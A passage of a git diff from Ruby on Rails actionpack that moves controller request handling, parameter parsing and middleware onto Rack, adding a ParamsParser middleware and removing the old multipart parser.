+ id = args.shift
insertion = "insert_#{position}".to_sym
raise ArgumentError, "Unknown RJS insertion type #{position}" unless RJS_STATEMENTS[insertion]
statement = "(#{RJS_STATEMENTS[insertion]})"
diff --git a/actionpack/lib/action_controller/base.rb b/actionpack/lib/action_controller/base.rb
index 4d4793c4e3..50b965ce4c 100644
--- a/actionpack/lib/action_controller/base.rb
+++ b/actionpack/lib/action_controller/base.rb
@@ -301,10 +301,7 @@ module ActionController #:nodoc:
# A YAML parser is also available and can be turned on with:
#
# ActionController::Base.param_parsers[Mime::YAML] = :yaml
- @@param_parsers = { Mime::MULTIPART_FORM => :multipart_form,
- Mime::URL_ENCODED_FORM => :url_encoded_form,
- Mime::XML => :xml_simple,
- Mime::JSON => :json }
+ @@param_parsers = {}
cattr_accessor :param_parsers
# Controls the default charset for all renders.
@@ -382,6 +379,13 @@ module ActionController #:nodoc:
attr_accessor :action_name
class << self
+ def call(env)
+ # HACK: For global rescue to have access to the original request and response
+ request = env["action_controller.rescue.request"] ||= Request.new(env)
+ response = env["action_controller.rescue.response"] ||= Response.new
+ process(request, response)
+ end
+
# Factory for the standard create, process loop where the controller is discarded after processing.
def process(request, response) #:nodoc:
new.process(request, response)
@@ -640,7 +644,7 @@ module ActionController #:nodoc:
end
def session_enabled?
- request.session_options && request.session_options[:disabled] != false
+ ActiveSupport::Deprecation.warn("Sessions are now lazy loaded. So if you don't access them, consider them disabled.", caller)
end
self.view_paths = []
@@ -859,16 +863,23 @@ module ActionController #:nodoc:
def render(options = nil, extra_options = {}, &block) #:doc:
raise DoubleRenderError, "Can only render or redirect once per action" if performed?
+ validate_render_arguments(options, extra_options, block_given?)
+
if options.nil?
- return render(:file => default_template, :layout => true)
- elsif !extra_options.is_a?(Hash)
- raise RenderError, "You called render with invalid options : #{options.inspect}, #{extra_options.inspect}"
- else
- if options == :update
- options = extra_options.merge({ :update => true })
- elsif !options.is_a?(Hash)
- raise RenderError, "You called render with invalid options : #{options.inspect}"
+ options = { :template => default_template, :layout => true }
+ elsif options == :update
+ options = extra_options.merge({ :update => true })
+ elsif options.is_a?(String) || options.is_a?(Symbol)
+ case options.to_s.index('/')
+ when 0
+ extra_options[:file] = options
+ when nil
+ extra_options[:action] = options
+ else
+ extra_options[:template] = options
end
+
+ options = extra_options
end
layout = pick_layout(options)
@@ -1111,7 +1122,7 @@ module ActionController #:nodoc:
end
# Sets the etag, last_modified, or both on the response and renders a
- # "304 Not Modified" response if the request is already fresh.
+ # "304 Not Modified" response if the request is already fresh.
#
# Example:
#
@@ -1119,8 +1130,8 @@ module ActionController #:nodoc:
# @article = Article.find(params[:id])
# fresh_when(:etag => @article, :last_modified => @article.created_at.utc)
# end
- #
- # This will render the show template if the request isn't sending a matching etag or
+ #
+ # This will render the show template if the request isn't sending a matching etag or
# If-Modified-Since header and just a "304 Not Modified" response if there's a match.
def fresh_when(options)
options.assert_valid_keys(:etag, :last_modified)
@@ -1186,6 +1197,16 @@ module ActionController #:nodoc:
end
end
+ def validate_render_arguments(options, extra_options, has_block)
+ if options && (has_block && options != :update) && !options.is_a?(String) && !options.is_a?(Hash) && !options.is_a?(Symbol)
+ raise RenderError, "You called render with invalid options : #{options.inspect}"
+ end
+
+ if !extra_options.is_a?(Hash)
+ raise RenderError, "You called render with invalid options : #{options.inspect}, #{extra_options.inspect}"
+ end
+ end
+
def initialize_template_class(response)
response.template = ActionView::Base.new(self.class.view_paths, {}, self)
response.template.helpers.send :include, self.class.master_helper_module
@@ -1215,7 +1236,7 @@ module ActionController #:nodoc:
log_processing_for_parameters
end
end
-
+
def log_processing_for_request_id
request_id = "\n\nProcessing #{self.class.name}\##{action_name} "
request_id << "to #{params[:format]} " if params[:format]
@@ -1227,7 +1248,7 @@ module ActionController #:nodoc:
def log_processing_for_parameters
parameters = respond_to?(:filter_parameters) ? filter_parameters(params) : params.dup
parameters = parameters.except!(:controller, :action, :format, :_method)
-
+
logger.info " Parameters: #{parameters.inspect}" unless parameters.empty?
end
@@ -1326,9 +1347,12 @@ module ActionController #:nodoc:
end
Base.class_eval do
- include Flash, Filters, Layout, Benchmarking, Rescue, MimeResponds, Helpers
- include Cookies, Caching, Verification, Streaming
- include SessionManagement, HttpAuthentication::Basic::ControllerMethods
- include RecordIdentifier, RequestForgeryProtection, Translation
+ [ Filters, Layout, Benchmarking, Rescue, Flash, MimeResponds, Helpers,
+ Cookies, Caching, Verification, Streaming, SessionManagement,
+ HttpAuthentication::Basic::ControllerMethods, RecordIdentifier,
+ RequestForgeryProtection, Translation
+ ].each do |mod|
+ include mod
+ end
end
end
diff --git a/actionpack/lib/action_controller/dispatcher.rb b/actionpack/lib/action_controller/dispatcher.rb
index 4dc76e1b49..781bc48887 100644
--- a/actionpack/lib/action_controller/dispatcher.rb
+++ b/actionpack/lib/action_controller/dispatcher.rb
@@ -8,6 +8,8 @@ module ActionController
# Development mode callbacks
before_dispatch :reload_application
after_dispatch :cleanup_application
+
+ ActionView::Helpers::AssetTagHelper.cache_asset_timestamps = false
end
if defined?(ActiveRecord)
@@ -60,11 +62,10 @@ module ActionController
def dispatch
begin
run_callbacks :before_dispatch
- controller = Routing::Routes.recognize(@request)
- controller.process(@request, @response).to_a
+ Routing::Routes.call(@env)
rescue Exception => exception
if controller ||= (::ApplicationController rescue Base)
- controller.process_with_exception(@request, @response, exception).to_a
+ controller.call_with_exception(@env, exception).to_a
else
raise exception
end
@@ -83,8 +84,7 @@ module ActionController
end
def _call(env)
- @request = Request.new(env)
- @response = Response.new
+ @env = env
dispatch
end
@@ -93,7 +93,6 @@ module ActionController
run_callbacks :prepare_dispatch
Routing::Routes.reload
- ActionView::Helpers::AssetTagHelper::AssetTag::Cache.clear
end
# Cleanup the application by clearing out loaded classes so they can
@@ -110,8 +109,7 @@ module ActionController
def checkin_connections
# Don't return connection (and peform implicit rollback) if this request is a part of integration test
- # TODO: This callback should have direct access to env
- return if @request.key?("rack.test")
+ return if @env.key?("rack.test")
ActiveRecord::Base.clear_active_connections!
end
end
diff --git a/actionpack/lib/action_controller/flash.rb b/actionpack/lib/action_controller/flash.rb
index 9856dbed2a..56ee9c67e2 100644
--- a/actionpack/lib/action_controller/flash.rb
+++ b/actionpack/lib/action_controller/flash.rb
@@ -4,20 +4,22 @@ module ActionController #:nodoc:
# action that sets <tt>flash[:notice] = "Successfully created"</tt> before redirecting to a display action that can
# then expose the flash to its template. Actually, that exposure is automatically done. Example:
#
- # class WeblogController < ActionController::Base
+ # class PostsController < ActionController::Base
# def create
# # save post
# flash[:notice] = "Successfully created post"
- # redirect_to :action => "display", :params => { :id => post.id }
+ # redirect_to posts_path(@post)
# end
#
- # def display
+ # def show
# # doesn't need to assign the flash notice to the template, that's done automatically
# end
# end
#
- # display.erb
- # <% if flash[:notice] %><div class="notice"><%= flash[:notice] %></div><% end %>
+ # show.html.erb
+ # <% if flash[:notice] %>
+ # <div class="notice"><%= flash[:notice] %></div>
+ # <% end %>
#
# This example just places a string in the flash, but you can put any object in there. And of course, you can put as
# many as you like at a time too. Just remember: They'll be gone by the time the next action has been performed.
diff --git a/actionpack/lib/action_controller/helpers.rb b/actionpack/lib/action_controller/helpers.rb
index 402750c57d..ba65032f6a 100644
--- a/actionpack/lib/action_controller/helpers.rb
+++ b/actionpack/lib/action_controller/helpers.rb
@@ -163,9 +163,9 @@ module ActionController #:nodoc:
def helper_method(*methods)
methods.flatten.each do |method|
master_helper_module.module_eval <<-end_eval
- def #{method}(*args, &block)
- controller.send(%(#{method}), *args, &block)
- end
+ def #{method}(*args, &block) # def current_user(*args, &block)
+ controller.send(%(#{method}), *args, &block) # controller.send(%(current_user), *args, &block)
+ end # end
end_eval
end
end
diff --git a/actionpack/lib/action_controller/integration.rb b/actionpack/lib/action_controller/integration.rb
index 71e2524e81..163ba84a3e 100644
--- a/actionpack/lib/action_controller/integration.rb
+++ b/actionpack/lib/action_controller/integration.rb
@@ -2,17 +2,6 @@ require 'stringio'
require 'uri'
require 'active_support/test_case'
-# Monkey patch Rack::Lint to support rewind
-module Rack
- class Lint
- class InputWrapper
- def rewind
- @input.rewind
- end
- end
- end
-end
-
module ActionController
module Integration #:nodoc:
# An integration Session instance represents a set of requests and responses
@@ -72,8 +61,8 @@ module ActionController
end
# Create and initialize a new Session instance.
- def initialize(app)
- @application = app
+ def initialize(app = nil)
+ @application = app || ActionController::Dispatcher.new
reset!
end
@@ -311,8 +300,10 @@ module ActionController
env[key] = value
end
- unless ActionController::Base.respond_to?(:clear_last_instantiation!)
- ActionController::Base.module_eval { include ControllerCapture }
+ [ControllerCapture, ActionController::ProcessWithTest].each do |mod|
+ unless ActionController::Base < mod
+ ActionController::Base.class_eval { include mod }
+ end
end
ActionController::Base.clear_last_instantiation!
@@ -340,6 +331,7 @@ module ActionController
if @controller = ActionController::Base.last_instantiation
@request = @controller.request
@response = @controller.response
+ @controller.send(:set_test_assigns)
else
# Decorate responses from Rack Middleware and Rails Metal
# as an Response for the purposes of integration testing
@@ -428,7 +420,7 @@ module ActionController
def multipart_body(params, boundary)
multipart_requestify(params).map do |key, value|
if value.respond_to?(:original_filename)
- File.open(value.path) do |f|
+ File.open(value.path, "rb") do |f|
f.set_encoding(Encoding::BINARY) if f.respond_to?(:set_encoding)
<<-EOF
@@ -509,7 +501,6 @@ EOF
# can use this method to open multiple sessions that ought to be tested
# simultaneously.
def open_session(application = nil)
- application ||= ActionController::Dispatcher.new
session = Integration::Session.new(application)
# delegate the fixture accessors back to the test instance
diff --git a/actionpack/lib/action_controller/lock.rb b/actionpack/lib/action_controller/lock.rb
deleted file mode 100644
index c50762216e..0000000000
--- a/actionpack/lib/action_controller/lock.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-module ActionController
- class Lock
- FLAG = 'rack.multithread'.freeze
-
- def initialize(app, lock = Mutex.new)
- @app, @lock = app, lock
- end
-
- def call(env)
- old, env[FLAG] = env[FLAG], false
- @lock.synchronize { @app.call(env) }
- ensure
- env[FLAG] = old
- end
- end
-end
diff --git a/actionpack/lib/action_controller/middleware_stack.rb b/actionpack/lib/action_controller/middleware_stack.rb
index 74f28565c0..dbc2fda41e 100644
--- a/actionpack/lib/action_controller/middleware_stack.rb
+++ b/actionpack/lib/action_controller/middleware_stack.rb
@@ -1,6 +1,14 @@
module ActionController
class MiddlewareStack < Array
class Middleware
+ def self.new(klass, *args, &block)
+ if klass.is_a?(self)
+ klass
+ else
+ super
+ end
+ end
+
attr_reader :args, :block
def initialize(klass, *args, &block)
@@ -24,6 +32,8 @@ module ActionController
else
@klass.to_s.constantize
end
+ rescue NameError
+ @klass
end
def active?
@@ -65,6 +75,24 @@ module ActionController
block.call(self) if block_given?
end
+ def insert(index, *args, &block)
+ index = self.index(index) unless index.is_a?(Integer)
+ middleware = Middleware.new(*args, &block)
+ super(index, middleware)
+ end
+
+ alias_method :insert_before, :insert
+
+ def insert_after(index, *args, &block)
+ index = self.index(index) unless index.is_a?(Integer)
+ insert(index + 1, *args, &block)
+ end
+
+ def swap(target, *args, &block)
+ insert_before(target, *args, &block)
+ delete(target)
+ end
+
def use(*args, &block)
middleware = Middleware.new(*args, &block)
push(middleware)
diff --git a/actionpack/lib/action_controller/middlewares.rb b/actionpack/lib/action_controller/middlewares.rb
index 793739723f..f9cfc2b18e 100644
--- a/actionpack/lib/action_controller/middlewares.rb
+++ b/actionpack/lib/action_controller/middlewares.rb
@@ -1,11 +1,9 @@
-use "ActionController::Lock", :if => lambda {
+use "Rack::Lock", :if => lambda {
!ActionController::Base.allow_concurrency
}
use "ActionController::Failsafe"
-use "ActiveRecord::QueryCache", :if => lambda { defined?(ActiveRecord) }
-
["ActionController::Session::CookieStore",
"ActionController::Session::MemCacheStore",
"ActiveRecord::SessionStore"].each do |store|
@@ -18,4 +16,6 @@ use "ActiveRecord::QueryCache", :if => lambda { defined?(ActiveRecord) }
)
end
-use ActionController::VerbPiggybacking
+use "ActionController::RewindableInput"
+use "ActionController::ParamsParser"
+use "Rack::MethodOverride"
diff --git a/actionpack/lib/action_controller/mime_responds.rb b/actionpack/lib/action_controller/mime_responds.rb
index 29294476f7..b755363873 100644
--- a/actionpack/lib/action_controller/mime_responds.rb
+++ b/actionpack/lib/action_controller/mime_responds.rb
@@ -143,12 +143,27 @@ module ActionController #:nodoc:
custom(@mime_type_priority.first, &block)
end
end
+
+ def self.generate_method_for_mime(mime)
+ sym = mime.is_a?(Symbol) ? mime : mime.to_sym
+ const = sym.to_s.upcase
+ class_eval <<-RUBY, __FILE__, __LINE__ + 1
+ def #{sym}(&block) # def html(&block)
+ custom(Mime::#{const}, &block) # custom(Mime::HTML, &block)
+ end # end
+ RUBY
+ end
- def method_missing(symbol, &block)
- mime_constant = symbol.to_s.upcase
+ Mime::SET.each do |mime|
+ generate_method_for_mime(mime)
+ end
- if Mime::SET.include?(Mime.const_get(mime_constant))
- custom(Mime.const_get(mime_constant), &block)
+ def method_missing(symbol, &block)
+ mime_constant = Mime.const_get(symbol.to_s.upcase)
+
+ if Mime::SET.include?(mime_constant)
+ self.class.generate_method_for_mime(mime_constant)
+ send(symbol, &block)
else
super
end
diff --git a/actionpack/lib/action_controller/params_parser.rb b/actionpack/lib/action_controller/params_parser.rb
new file mode 100644
index 0000000000..d269fe07fa
--- /dev/null
+++ b/actionpack/lib/action_controller/params_parser.rb
@@ -0,0 +1,71 @@
+module ActionController
+ class ParamsParser
+ ActionController::Base.param_parsers[Mime::XML] = :xml_simple
+ ActionController::Base.param_parsers[Mime::JSON] = :json
+
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ if params = parse_formatted_parameters(env)
+ env["action_controller.request.request_parameters"] = params
+ end
+
+ @app.call(env)
+ end
+
+ private
+ def parse_formatted_parameters(env)
+ request = Request.new(env)
+
+ return false if request.content_length.zero?
+
+ mime_type = content_type_from_legacy_post_data_format_header(env) || request.content_type
+ strategy = ActionController::Base.param_parsers[mime_type]
+
+ return false unless strategy
+
+ case strategy
+ when Proc
+ strategy.call(request.raw_post)
+ when :xml_simple, :xml_node
+ body = request.raw_post
+ body.blank? ? {} : Hash.from_xml(body).with_indifferent_access
+ when :yaml
+ YAML.load(request.raw_post)
+ when :json
+ body = request.raw_post
+ if body.blank?
+ {}
+ else
+ data = ActiveSupport::JSON.decode(body)
+ data = {:_json => data} unless data.is_a?(Hash)
+ data.with_indifferent_access
+ end
+ else
+ false
+ end
+ rescue Exception => e # YAML, XML or Ruby code block errors
+ raise
+ { "body" => request.raw_post,
+ "content_type" => request.content_type,
+ "content_length" => request.content_length,
+ "exception" => "#{e.message} (#{e.class})",
+ "backtrace" => e.backtrace }
+ end
+
+ def content_type_from_legacy_post_data_format_header(env)
+ if x_post_format = env['HTTP_X_POST_DATA_FORMAT']
+ case x_post_format.to_s.downcase
+ when 'yaml'
+ return Mime::YAML
+ when 'xml'
+ return Mime::XML
+ end
+ end
+
+ nil
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/polymorphic_routes.rb b/actionpack/lib/action_controller/polymorphic_routes.rb
index dce50c6c3b..924d1aa6bd 100644
--- a/actionpack/lib/action_controller/polymorphic_routes.rb
+++ b/actionpack/lib/action_controller/polymorphic_routes.rb
@@ -118,13 +118,17 @@ module ActionController
%w(edit new).each do |action|
module_eval <<-EOT, __FILE__, __LINE__
- def #{action}_polymorphic_url(record_or_hash, options = {})
- polymorphic_url(record_or_hash, options.merge(:action => "#{action}"))
- end
-
- def #{action}_polymorphic_path(record_or_hash, options = {})
- polymorphic_url(record_or_hash, options.merge(:action => "#{action}", :routing_type => :path))
- end
+ def #{action}_polymorphic_url(record_or_hash, options = {}) # def edit_polymorphic_url(record_or_hash, options = {})
+ polymorphic_url( # polymorphic_url(
+ record_or_hash, # record_or_hash,
+ options.merge(:action => "#{action}")) # options.merge(:action => "edit"))
+ end # end
+ #
+ def #{action}_polymorphic_path(record_or_hash, options = {}) # def edit_polymorphic_path(record_or_hash, options = {})
+ polymorphic_url( # polymorphic_url(
+ record_or_hash, # record_or_hash,
+ options.merge(:action => "#{action}", :routing_type => :path)) # options.merge(:action => "edit", :routing_type => :path))
+ end # end
EOT
end
diff --git a/actionpack/lib/action_controller/rack_ext.rb b/actionpack/lib/action_controller/rack_ext.rb
new file mode 100644
index 0000000000..2ba6654e3d
--- /dev/null
+++ b/actionpack/lib/action_controller/rack_ext.rb
@@ -0,0 +1,3 @@
+require 'action_controller/rack_ext/lock'
+require 'action_controller/rack_ext/multipart'
+require 'action_controller/rack_ext/parse_query'
diff --git a/actionpack/lib/action_controller/rack_ext/lock.rb b/actionpack/lib/action_controller/rack_ext/lock.rb
new file mode 100644
index 0000000000..9bf1889065
--- /dev/null
+++ b/actionpack/lib/action_controller/rack_ext/lock.rb
@@ -0,0 +1,21 @@
+module Rack
+ # Rack::Lock was commited to Rack core
+ # http://github.com/rack/rack/commit/7409b0c
+ # Remove this when Rack 1.0 is released
+ unless defined? Lock
+ class Lock
+ FLAG = 'rack.multithread'.freeze
+
+ def initialize(app, lock = Mutex.new)
+ @app, @lock = app, lock
+ end
+
+ def call(env)
+ old, env[FLAG] = env[FLAG], false
+ @lock.synchronize { @app.call(env) }
+ ensure
+ env[FLAG] = old
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/rack_ext/multipart.rb b/actionpack/lib/action_controller/rack_ext/multipart.rb
new file mode 100644
index 0000000000..3b142307e9
--- /dev/null
+++ b/actionpack/lib/action_controller/rack_ext/multipart.rb
@@ -0,0 +1,22 @@
+module Rack
+ module Utils
+ module Multipart
+ class << self
+ def parse_multipart_with_rewind(env)
+ result = parse_multipart_without_rewind(env)
+
+ begin
+ env['rack.input'].rewind if env['rack.input'].respond_to?(:rewind)
+ rescue Errno::ESPIPE
+ # Handles exceptions raised by input streams that cannot be rewound
+ # such as when using plain CGI under Apache
+ end
+
+ result
+ end
+
+ alias_method_chain :parse_multipart, :rewind
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/rack_ext/parse_query.rb b/actionpack/lib/action_controller/rack_ext/parse_query.rb
new file mode 100644
index 0000000000..2f21a57770
--- /dev/null
+++ b/actionpack/lib/action_controller/rack_ext/parse_query.rb
@@ -0,0 +1,18 @@
+# Rack does not automatically cleanup Safari 2 AJAX POST body
+# This has not yet been commited to Rack, please +1 this ticket:
+# http://rack.lighthouseapp.com/projects/22435/tickets/19
+
+module Rack
+ module Utils
+ alias_method :parse_query_without_ajax_body_cleanup, :parse_query
+ module_function :parse_query_without_ajax_body_cleanup
+
+ def parse_query(qs, d = '&;')
+ qs = qs.dup
+ qs.chop! if qs[-1] == 0
+ qs.gsub!(/&_=$/, '')
+ parse_query_without_ajax_body_cleanup(qs, d)
+ end
+ module_function :parse_query
+ end
+end
diff --git a/actionpack/lib/action_controller/request.rb b/actionpack/lib/action_controller/request.rb
index d9eb5af849..09dcd684e8 100755
--- a/actionpack/lib/action_controller/request.rb
+++ b/actionpack/lib/action_controller/request.rb
@@ -6,24 +6,12 @@ require 'active_support/memoizable'
require 'action_controller/cgi_ext'
module ActionController
- # CgiRequest and TestRequest provide concrete implementations.
- class Request
+ class Request < Rack::Request
extend ActiveSupport::Memoizable
- class SessionFixationAttempt < StandardError #:nodoc:
- end
-
- # The hash of environment variables for this request,
- # such as { 'RAILS_ENV' => 'production' }.
- attr_reader :env
-
- def initialize(env)
- @env = env
- end
-
- %w[ AUTH_TYPE GATEWAY_INTERFACE PATH_INFO
+ %w[ AUTH_TYPE GATEWAY_INTERFACE
PATH_TRANSLATED REMOTE_HOST
- REMOTE_IDENT REMOTE_USER SCRIPT_NAME
+ REMOTE_IDENT REMOTE_USER REMOTE_ADDR
SERVER_NAME SERVER_PROTOCOL
HTTP_ACCEPT HTTP_ACCEPT_CHARSET HTTP_ACCEPT_ENCODING
@@ -41,17 +29,18 @@ module ActionController
HTTP_METHODS = %w(get head put post delete options)
HTTP_METHOD_LOOKUP = HTTP_METHODS.inject({}) { |h, m| h[m] = h[m.upcase] = m.to_sym; h }
- # The true HTTP request \method as a lowercase symbol, such as <tt>:get</tt>.
- # UnknownHttpMethod is raised for invalid methods not listed in ACCEPTED_HTTP_METHODS.
+ # Returns the true HTTP request \method as a lowercase symbol, such as
+ # <tt>:get</tt>. If the request \method is not listed in the HTTP_METHODS
+ # constant above, an UnknownHttpMethod exception is raised.
def request_method
- method = @env['REQUEST_METHOD']
- HTTP_METHOD_LOOKUP[method] || raise(UnknownHttpMethod, "#{method}, accepted HTTP methods are #{HTTP_METHODS.to_sentence}")
+ HTTP_METHOD_LOOKUP[super] || raise(UnknownHttpMethod, "#{super}, accepted HTTP methods are #{HTTP_METHODS.to_sentence}")
end
memoize :request_method
- # The HTTP request \method as a lowercase symbol, such as <tt>:get</tt>.
- # Note, HEAD is returned as <tt>:get</tt> since the two are functionally
- # equivalent from the application's perspective.
+ # Returns the HTTP request \method used for action processing as a
+ # lowercase symbol, such as <tt>:post</tt>. (Unlike #request_method, this
+ # method returns <tt>:get</tt> for a HEAD request because the two are
+ # functionally equivalent from the application's perspective.)
def method
request_method == :head ? :get : request_method
end
@@ -92,16 +81,19 @@ module ActionController
# Returns the content length of the request as an integer.
def content_length
- @env['CONTENT_LENGTH'].to_i
+ super.to_i
end
- memoize :content_length
# The MIME type of the HTTP request, such as Mime::XML.
#
# For backward compatibility, the post \format is extracted from the
# X-Post-Data-Format HTTP header if present.
def content_type
- Mime::Type.lookup(content_type_without_parameters)
+ if @env['CONTENT_TYPE'] =~ /^([^,\;]*)/
+ Mime::Type.lookup($1.strip.downcase)
+ else
+ nil
+ end
end
memoize :content_type
@@ -286,7 +278,7 @@ EOM
if forwarded = env["HTTP_X_FORWARDED_HOST"]
forwarded.split(/,\s?/).last
else
- env['HTTP_HOST'] || env['SERVER_NAME'] || "#{env['SERVER_ADDR']}:#{env['SERVER_PORT']}"
+ env['HTTP_HOST'] || "#{env['SERVER_NAME'] || env['SERVER_ADDR']}:#{env['SERVER_PORT']}"
end
end
@@ -389,20 +381,21 @@ EOM
# Read the request \body. This is useful for web services that need to
# work with raw requests directly.
def raw_post
- unless env.include? 'RAW_POST_DATA'
- env['RAW_POST_DATA'] = body.read(content_length)
+ unless @env.include? 'RAW_POST_DATA'
+ @env['RAW_POST_DATA'] = body.read(@env['CONTENT_LENGTH'].to_i)
body.rewind if body.respond_to?(:rewind)
end
- env['RAW_POST_DATA']
+ @env['RAW_POST_DATA']
end
# Returns both GET and POST \parameters in a single hash.
def parameters
@parameters ||= request_parameters.merge(query_parameters).update(path_parameters).with_indifferent_access
end
+ alias_method :params, :parameters
def path_parameters=(parameters) #:nodoc:
- @path_parameters = parameters
+ @env["rack.routing_args"] = parameters
@symbolized_path_parameters = @parameters = nil
end
@@ -418,51 +411,46 @@ EOM
#
# See <tt>symbolized_path_parameters</tt> for symbolized keys.
def path_parameters
- @path_parameters ||= {}
+ @env["rack.routing_args"] ||= {}
end
# The request body is an IO input stream. If the RAW_POST_DATA environment
# variable is already set, wrap it in a StringIO.
def body
- if raw_post = env['RAW_POST_DATA']
+ if raw_post = @env['RAW_POST_DATA']
raw_post.force_encoding(Encoding::BINARY) if raw_post.respond_to?(:force_encoding)
StringIO.new(raw_post)
else
- body_stream
+ @env['rack.input']
end
end
- def remote_addr
- @env['REMOTE_ADDR']
+ def form_data?
+ FORM_DATA_MEDIA_TYPES.include?(content_type.to_s)
end
- def referrer
- @env['HTTP_REFERER']
+ # Override Rack's GET method to support nested query strings
+ def GET
+ @env["action_controller.request.query_parameters"] ||= UrlEncodedPairParser.parse_query_parameters(query_string)
end
- alias referer referrer
+ alias_method :query_parameters, :GET
- def query_parameters
- @query_parameters ||= self.class.parse_query_parameters(query_string)
- end
-
- def request_parameters
- @request_parameters ||= parse_formatted_request_parameters
+ # Override Rack's POST method to support nested query strings
+ def POST
+ @env["action_controller.request.request_parameters"] ||= UrlEncodedPairParser.parse_hash_parameters(super)
end
+ alias_method :request_parameters, :POST
def body_stream #:nodoc:
@env['rack.input']
end
- def cookies
- Rack::Request.new(@env).cookies
- end
-
def session
@env['rack.session'] ||= {}
end
def session=(session) #:nodoc:
- @session = session
+ @env['rack.session'] = session
end
def reset_session
@@ -481,411 +469,9 @@ EOM
@env['SERVER_PORT'].to_i
end
- protected
- # The raw content type string. Use when you need parameters such as
- # charset or boundary which aren't included in the content_type MIME type.
- # Overridden by the X-POST_DATA_FORMAT header for backward compatibility.
- def content_type_with_parameters
- content_type_from_legacy_post_data_format_header ||
- env['CONTENT_TYPE'].to_s
- end
-
- # The raw content type string with its parameters stripped off.
- def content_type_without_parameters
- self.class.extract_content_type_without_parameters(content_type_with_parameters)
- end
- memoize :content_type_without_parameters
-
private
- def content_type_from_legacy_post_data_format_header
- if x_post_format = @env['HTTP_X_POST_DATA_FORMAT']
- case x_post_format.to_s.downcase
- when 'yaml'; 'application/x-yaml'
- when 'xml'; 'application/xml'
- end
- end
- end
-
- def parse_formatted_request_parameters
- return {} if content_length.zero?
-
- content_type, boundary = self.class.extract_multipart_boundary(content_type_with_parameters)
-
- # Don't parse params for unknown requests.
- return {} if content_type.blank?
-
- mime_type = Mime::Type.lookup(content_type)
- strategy = ActionController::Base.param_parsers[mime_type]
-
- # Only multipart form parsing expects a stream.
- body = (strategy && strategy != :multipart_form) ? raw_post : self.body
-
- case strategy
- when Proc
- strategy.call(body)
- when :url_encoded_form
- self.class.clean_up_ajax_request_body! body
- self.class.parse_query_parameters(body)
- when :multipart_form
- self.class.parse_multipart_form_parameters(body, boundary, content_length, env)
- when :xml_simple, :xml_node
- body.blank? ? {} : Hash.from_xml(body).with_indifferent_access
- when :yaml
- YAML.load(body)
- when :json
- if body.blank?
- {}
- else
- data = ActiveSupport::JSON.decode(body)
- data = {:_json => data} unless data.is_a?(Hash)
- data.with_indifferent_access
- end
- else
- {}
- end
- rescue Exception => e # YAML, XML or Ruby code block errors
- raise
- { "body" => body,
- "content_type" => content_type_with_parameters,
- "content_length" => content_length,
- "exception" => "#{e.message} (#{e.class})",
- "backtrace" => e.backtrace }
- end
-
def named_host?(host)
!(host.nil? || /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/.match(host))
end
-
- class << self
- def parse_query_parameters(query_string)
- return {} if query_string.blank?
-
- pairs = query_string.split('&').collect do |chunk|
- next if chunk.empty?
- key, value = chunk.split('=', 2)
- next if key.empty?
- value = value.nil? ? nil : CGI.unescape(value)
- [ CGI.unescape(key), value ]
- end.compact
-
- UrlEncodedPairParser.new(pairs).result
- end
-
- def parse_request_parameters(params)
- parser = UrlEncodedPairParser.new
-
- params = params.dup
- until params.empty?
- for key, value in params
- if key.blank?
- params.delete key
- elsif !key.include?('[')
- # much faster to test for the most common case first (GET)
- # and avoid the call to build_deep_hash
- parser.result[key] = get_typed_value(value[0])
- params.delete key
- elsif value.is_a?(Array)
- parser.parse(key, get_typed_value(value.shift))
- params.delete key if value.empty?
- else
- raise TypeError, "Expected array, found #{value.inspect}"
- end
- end
- end
-
- parser.result
- end
-
- def parse_multipart_form_parameters(body, boundary, body_size, env)
- parse_request_parameters(read_multipart(body, boundary, body_size, env))
- end
-
- def extract_multipart_boundary(content_type_with_parameters)
- if content_type_with_parameters =~ MULTIPART_BOUNDARY
- ['multipart/form-data', $1.dup]
- else
- extract_content_type_without_parameters(content_type_with_parameters)
- end
- end
-
- def extract_content_type_without_parameters(content_type_with_parameters)
- $1.strip.downcase if content_type_with_parameters =~ /^([^,\;]*)/
- end
-
- def clean_up_ajax_request_body!(body)
- body.chop! if body[-1] == 0
- body.gsub!(/&_=$/, '')
- end
-
-
- private
- def get_typed_value(value)
- case value
- when String
- value
- when NilClass
- ''
- when Array
- value.map { |v| get_typed_value(v) }
- else
- if value.respond_to? :original_filename
- # Uploaded file
- if value.original_filename
- value
- # Multipart param
- else
- result = value.read
- value.rewind
- result
- end
- # Unknown value, neither string nor multipart.
- else
- raise "Unknown form value: #{value.inspect}"
- end
- end
- end
-
- MULTIPART_BOUNDARY = %r|\Amultipart/form-data.*boundary=\"?([^\";,]+)\"?|n
-
- EOL = "\015\012"
-
- def read_multipart(body, boundary, body_size, env)
- params = Hash.new([])
- boundary = "--" + boundary
- quoted_boundary = Regexp.quote(boundary)
- buf = ""
- bufsize = 10 * 1024
- boundary_end=""
-
- # start multipart/form-data
- body.binmode if defined? body.binmode
- case body
- when File
- body.set_encoding(Encoding::BINARY) if body.respond_to?(:set_encoding)
- when StringIO
- body.string.force_encoding(Encoding::BINARY) if body.string.respond_to?(:force_encoding)
- end
- boundary_size = boundary.size + EOL.size
- body_size -= boundary_size
- status = body.read(boundary_size)
- if nil == status
- raise EOFError, "no content body"
- elsif boundary + EOL != status
- raise EOFError, "bad content body"
- end
-
- loop do
- head = nil
- content =
- if 10240 < body_size
- UploadedTempfile.new("CGI")
- else
- UploadedStringIO.new
- end
- content.binmode if defined? content.binmode
-
- until head and /#{quoted_boundary}(?:#{EOL}|--)/n.match(buf)
-
- if (not head) and /#{EOL}#{EOL}/n.match(buf)
- buf = buf.sub(/\A((?:.|\n)*?#{EOL})#{EOL}/n) do
- head = $1.dup
- ""
- end
- next
- end
-
- if head and ( (EOL + boundary + EOL).size < buf.size )
- content.print buf[0 ... (buf.size - (EOL + boundary + EOL).size)]
- buf[0 ... (buf.size - (EOL + boundary + EOL).size)] = ""
- end
-
- c = if bufsize < body_size
- body.read(bufsize)
- else
- body.read(body_size)
- end
- if c.nil? || c.empty?
- raise EOFError, "bad content body"
- end
- buf.concat(c)
- body_size -= c.size
- end
-
- buf = buf.sub(/\A((?:.|\n)*?)(?:[\r\n]{1,2})?#{quoted_boundary}([\r\n]{1,2}|--)/n) do
- content.print $1
- if "--" == $2
- body_size = -1
- end
